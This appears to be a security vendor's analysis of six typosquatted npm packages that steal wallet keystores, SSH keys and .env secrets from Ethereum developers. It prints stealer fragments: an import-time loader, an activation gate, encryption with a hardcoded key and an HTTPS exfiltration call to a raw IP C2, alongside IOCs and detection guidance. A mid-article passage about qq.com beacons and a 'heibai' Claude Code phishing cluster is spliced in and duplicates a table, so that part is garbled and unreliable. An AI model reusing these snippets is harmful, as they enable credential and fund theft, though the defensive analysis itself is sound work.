EVMDeFi npm Typosquatting Attack Steals Developer Keys

EVM/DeFi npm Typosquatting Attack Steals Developer Keys

TL;DR

On May 6, 2026, a single npm publisher, namikazesarada010206, pushed six malicious packages targeting the Ethereum, Solidity, and DeFi developer ecosystem.

The packages, viem-core, viem-utils-core, hardhat-core-utils, evm-utils, foundry-utils, and web3-utils-core, used plausible names designed to look like helper libraries for popular Web3 tooling.

All six packages contained the same telemetry.js file. The file was byte-identical across the cluster, with SHA-256:

SHA-256 71426e93cb6143052d5aeeca920850f8a0343c95bc65aab9a15145848cc5bff1

The malware does not execute at install time. There is no preinstall or postinstall hook. Instead, it activates when the package is imported through require().

That detail matters.

The implant waits until a developer actually uses the package. Then it checks whether the workstation looks like a real Ethereum / Solidity development environment. It looks for Alchemy or Infura keys, private keys, mnemonics, deployer keys, or a local Foundry directory.

If the host matches, the stealer collects SSH private keys, Foundry / Geth / Brownie wallet keystores, .env* files, and sensitive environment variables. It encrypts the bundle with AES-256-GCM using a hardcoded passphrase and exfiltrates it to a raw IPv4 C2 endpoint with TLS verification disabled.

Xygeni’s Malware Early Warning (MEW) system confirmed all six packages as malicious. The npm registry takedown report bundle is pending.

The Cluster: Six Packages, One Publisher

The publisher account namikazesarada010206 was linked to the unverified Gmail address namikazesarada010206@gmail.com.

The campaign appeared as a single-day publication burst on May 6, 2026. All six packages were versioned as 1.0.0, had zero runtime dependencies, and shipped only three files:

package.json
index.js
telemetry.js

They also declared the same source repository:

https://github.com/harunosakura030303-maker/evmchain-config

The first three packages were caught by MEW scanners on first publication. The remaining three were force-flagged after analyst review of the publisher’s npm profile. Once the same byte-identical telemetry.js was confirmed across the cluster, they were closed as malicious by consistency.

Package Version npm Published MEW Ticket Verdict
viem-core 1.0.0 2026-05-06 01:38:44Z #51049 Malicious
viem-utils-core 1.0.0 2026-05-06 #51050 Malicious
hardhat-core-utils 1.0.0 2026-05-06 #51051 Malicious
evm-utils 1.0.0 2026-05-06 #51069 Malicious, by consistency
foundry-utils 1.0.0 2026-05-06 #51071 Malicious, by consistency
web3-utils-core 1.0.0 2026-05-06 #51070 Malicious, by consistency

The naming strategy is straightforward but effective.

These packages do not impersonate exact upstream names. Instead, they use plausible “utility” suffixes such as -core, -utils, and -utils-core. That makes them look like companion libraries a developer might expect to see near Web3 tooling.

Malicious Package Legitimate Target
viem-core viem, a popular Ethereum TypeScript client
viem-utils-core viem
hardhat-core-utils hardhat, a mainstream Solidity development environment
evm-utils Generic EVM tooling namespace
foundry-utils foundry, a Solidity toolchain
web3-utils-core web3-utils, Web3.js helpers

This is the “supplemental package” pattern: not “I am the real package,” but “I look like a reasonable helper around the real package.”

For DeFi developers moving quickly, that is enough to create risk.

What Happens When the Package Is Imported

The attack chain is small, deliberate, and focused on crypto-development environments.

There is no installation hook. Instead, each package includes an index.js that exports stub functionality and then loads the malicious telemetry module.

require('./telemetry').init();

This means the malware activates on first import.

That is operationally useful for the attacker. Many scanners and sandboxes focus on install-time behavior. This package waits until it is actually used by a developer, build script, test suite, or runtime path.

Activation Gate: Only Fire on Real Web3 Developer Workstations

The most important part of the implant is the activation gate.

The malware checks for environment variables commonly found on Ethereum / Solidity developer machines:

const indicators = [
  process.env.ALCHEMY_API_KEY,
  process.env.INFURA_KEY,
  process.env.PRIVATE_KEY,
  process.env.MNEMONIC,
  process.env.DEPLOYER_KEY,
].filter(Boolean);

It also checks whether Foundry appears to be installed:

fs.existsSync(path.join(os.homedir(), '.foundry'))

If neither condition is true, the function returns and does nothing.

That makes the package quieter in generic analysis environments. A sandbox without Foundry, Alchemy keys, Infura keys, private keys, or mnemonics may see a harmless-looking import.

On a matching host, the malware waits 60 to 90 seconds before collection:

setTimeout(() => { try { _collect(); } catch {} },
          60000 + Math.random() * 30000).unref();

The delay reduces obvious correlation between import and exfiltration. The .unref() call also lets the host process exit normally if the package was imported in a short-lived script.

This is not noisy smash-and-grab behavior. It is a targeted stealer designed to avoid running unless the developer environment is worth stealing from.

What the Stealer Collects

Once the activation gate passes, the malware collects from sources that matter most in Web3 development: private keys, wallet keystores, deployment credentials, cloud secrets, npm tokens, and local project configuration.

Source What Is Collected
process.env Any variable matching /TOKEN|SECRET|KEY|PASS|AUTH|PRIVATE|SEED|MNEMONIC|AWS|NPM|DEPLOY/i
~/.ssh/* Files containing PRIVATE KEY or BEGIN OPENSSH, including full file content
~/.foundry/keystores/* Foundry wallet keystore files
~/.ethereum/keystore/* Geth wallet keystore files
~/.brownie/accounts/* Brownie wallet keystore files
${cwd}/.env Full file content
${cwd}/.env.local Full file content
${cwd}/.env.production Full file content
${cwd}/.env.development Full file content
os.hostname() Host metadata
crypto.randomUUID() Victim/session identifier
Date.now() Collection timestamp
otheve.beacon.qq.com
oth.str.beacon.qq.com
h.trace.qq.com

The ATTA tokens are:

ATTA_ID 00400014144
ATTA_TOKEN 6478159937

We have not been able to confirm whether the telemetry was the operator’s own analytics or a separately monetised channel. The ATTA tokens are the same in both samples we examined.

Cluster B: heibai

claude.hk OAuth Phishing + ANTHROPIC_BASE_URL Hijack

The April 1 sample is the cruder, earlier arm of the campaign.

heibai:2.1.88-claude.hk-4 was published by wuguoqiangvip28, an account created June 7, 2025. The package explicitly versioned itself against the legitimate 2.1.88 Anthropic release.

It does not bother with CA-cert MITM. Instead, it lies to the user about the OAuth endpoint.

The malicious additions on top of the leaked Claude Code source include:

Source What Is Collected
process.env Any variable matching /TOKEN|SECRET|KEY|PASS|AUTH|PRIVATE|SEED|MNEMONIC|AWS|NPM|DEPLOY/i
~/.ssh/* Files containing PRIVATE KEY or BEGIN OPENSSH, including full file content
~/.foundry/keystores/* Foundry wallet keystore files
~/.ethereum/keystore/* Geth wallet keystore files
~/.brownie/accounts/* Brownie wallet keystore files
${cwd}/.env Full file content
${cwd}/.env.local Full file content
${cwd}/.env.production Full file content
${cwd}/.env.development Full file content
os.hostname() Host metadata
crypto.randomUUID() Victim/session identifier
Date.now() Collection timestamp

The target list is highly specific. This is not generic browser theft or broad credential scraping. It is aimed at developers who build, test, deploy, or operate Ethereum applications.

The inclusion of Foundry, Geth, and Brownie keystores is especially important. These files can represent direct access to wallets or deployment identities. If the attacker can pair them with passwords, mnemonics, or environment secrets, they may be able to move funds, impersonate deployers, or compromise smart contract operations.

Encryption Before Exfiltration

The malware encrypts the collected data before sending it out.

const key = crypto.createHash('sha256').update(K).digest();
const iv = crypto.randomBytes(12);
const cipher = crypto.createCipheriv('aes-256-gcm', key, iv);

The hardcoded passphrase is:

a]3Fk9$mP2xL7vQ8nR4wJ6yB0tH5cE1d

The final payload is wrapped as JSON:

{"v":2,"iv":"<base64>","d":"<base64-ciphertext>","t":"<base64-gcm-tag>"}

Encryption does not make the malware more advanced by itself. However, it makes network inspection harder. A defender watching egress would see a JSON payload, but not the stolen keys, wallet files, or .env contents without the hardcoded passphrase and decryption logic.

Exfiltration to a Raw IPv4 C2

The exfiltration path is hardcoded:

const req = https.request({
  hostname: '76.13.37.80', port: 8443,
  path: '/api/v1/telemetry', method: 'POST',
  headers: { 'Content-Type': 'application/json', ... },
  rejectUnauthorized: false, timeout: 8000,
}, () => {});

The malware sends data to:

https://76.13.37.80:8443/api/v1/telemetry

Two details stand out.

First, the C2 is a raw IPv4 address rather than a domain. That removes the need for domain registration and avoids some domain-based detections.

Second, TLS verification is disabled with:

rejectUnauthorized: false

That allows the malware to accept any certificate, including self-signed certificates. In other words, the attacker gets encrypted transport without needing a valid public certificate.

There is no retry logic and no fallback host. Errors are silently swallowed. This keeps the package quiet if the C2 is offline or unreachable.

Why This Campaign Matters

Most malicious npm packages aimed at developers chase broad credentials: npm tokens, AWS keys, GitHub tokens, or .npmrc files.

This campaign narrows the target.

It looks for signs that the machine belongs to an Ethereum or Solidity developer. Then it pulls exactly the assets that matter in that environment: wallet keystores, private keys, mnemonics, deployer keys, .env files, and SSH keys.

That makes the campaign more dangerous for Web3 teams than a generic npm stealer.

A successful infection could expose:

  • Deployment wallets
  • Smart contract admin keys
  • RPC provider keys
  • Cloud deployment credentials
  • npm publishing tokens
  • SSH access to developer or build infrastructure
  • Project secrets stored in .env files
  • Wallet keystores for Foundry, Geth, or Brownie

The package names also show clear social engineering. They target the Web3 developer ecosystem through familiar tool names: viem, hardhat, foundry, evm, and web3.

The actor does not need to compromise the real projects. They only need a developer to install what looks like a reasonable companion package.

Indicators of Compromise and Detection

Packages and Publisher
Field Value
npm publisher namikazesarada010206
Publisher email namikazesarada010206@gmail.com
Email verified No
SCM verified No
Reputation score 1.0
Packages viem-core, viem-utils-core, hardhat-core-utils, evm-utils, foundry-utils, web3-utils-core
Versions All 1.0.0
Source repository https://github.com/harunosakura030303-maker/evmchain-config
Confirmed malicious All six packages
Network
Type Value
C2 endpoint https://76.13.37.80:8443/api/v1/telemetry
C2 IP 76.13.37.80
C2 port 8443/tcp
TLS behavior rejectUnauthorized: false
Payload schema {"v":2,"iv":<base64>,"d":<base64-ciphertext>,"t":<base64-gcm-tag>}
Files and Hashes
Type Value
telemetry.js SHA-256 71426e93cb6143052d5aeeca920850f8a0343c95bc65aab9a15145848cc5bff1
Package layout package.json, index.js, telemetry.js
File count 3
Approximate total size 3.4 KB

Activation Signals

The malware checks for these environment variables:

ALCHEMY_API_KEY
INFURA_KEY
PRIVATE_KEY
MNEMONIC
DEPLOYER_KEY

It also checks for:

~/.foundry/

Targeted Host Paths

~/.ssh/*
~/.foundry/keystores/*
~/.ethereum/keystore/*
~/.brownie/accounts/*
${cwd}/.env
${cwd}/.env.local
${cwd}/.env.production
${cwd}/.env.development

Collection Regex

/TOKEN|SECRET|KEY|PASS|AUTH|PRIVATE|SEED|MNEMONIC|AWS|NPM|DEPLOY/i

Detection Notes

Several rules catch this campaign without needing full behavioral analysis.

First, scan lockfiles for the six malicious package names:

viem-core
viem-utils-core
hardhat-core-utils
evm-utils
foundry-utils
web3-utils-core

Any match in package-lock.json, yarn.lock, pnpm-lock.yaml, or node_modules history should be treated as a serious incident.

Second, monitor for Node.js processes reading wallet keystore paths:

~/.foundry/keystores/
~/.ethereum/keystore/
~/.brownie/accounts/

This is rarely legitimate behavior for a package imported as a helper dependency. It is especially suspicious when followed by outbound network activity.

Third, block or alert on HTTPS connections to:

76.13.37.80:8443

Especially when the request path is:

/api/v1/telemetry

Fourth, hunt for npm packages that combine these traits:

  • Fresh or low-reputation publisher
  • Unverified Gmail account
  • Web3-adjacent package name
  • No meaningful repository history
  • Tiny package layout
  • index.js that loads a telemetry or helper file
  • No runtime dependencies
  • Sensitive environment-variable collection
  • Wallet keystore access

This pattern is more useful than a single IOC because the next package may change the IP address but keep the same targeting logic.

Compromise Response Checklist

If a developer used one of the six packages and their environment matched the activation gate, treat the workstation as compromised.

That includes machines with Foundry installed, Alchemy or Infura keys in the environment, private keys, mnemonics, or deployer keys.

Recommended response:

  • Disconnect the host from the network.
  • Preserve node_modules, lockfiles, shell history, and relevant logs for forensics.
  • Rotate every SSH keypair under ~/.ssh/.
  • Rotate wallet keys for every keystore under ~/.foundry, ~/.ethereum, and ~/.brownie.
  • Move funds to fresh wallets.
  • Rotate every secret stored in .env* files in repositories the developer worked in.
  • Rotate environment secrets matching the collection regex, including AWS keys, npm tokens, deploy tokens, API keys, private keys, seeds, and mnemonics.
  • Audit cloud, npm, GitHub, RPC provider, and blockchain activity since the package was first installed.
  • Re-image the workstation before reuse.

What Defenders Should Take Away

This campaign shows how npm typosquatting is evolving around high-value developer ecosystems.

The actor did not need persistence. They did not need obfuscation. They did not even need install-time execution.

Instead, they relied on three things:

  • Plausible Web3 package names
  • Activation only on real crypto-development machines
  • Direct theft of the files and secrets that matter most to Ethereum developers

That makes the campaign easy to miss in broad scanning and dangerous when it lands in the right environment.

For Web3 teams, the lesson is clear: treat dependency names as part of your threat model. A package that looks like a harmless helper can still become the shortest path to wallet compromise.

Reported to the npm registry. We will update this post when the publisher account and packages are removed.

sca-tools-software-composition-analysis-tools
Prioritize, remediate, and secure your software risks
7-day free trial
No credit card required

Secure your Software Development and Delivery

with Xygeni Product Suite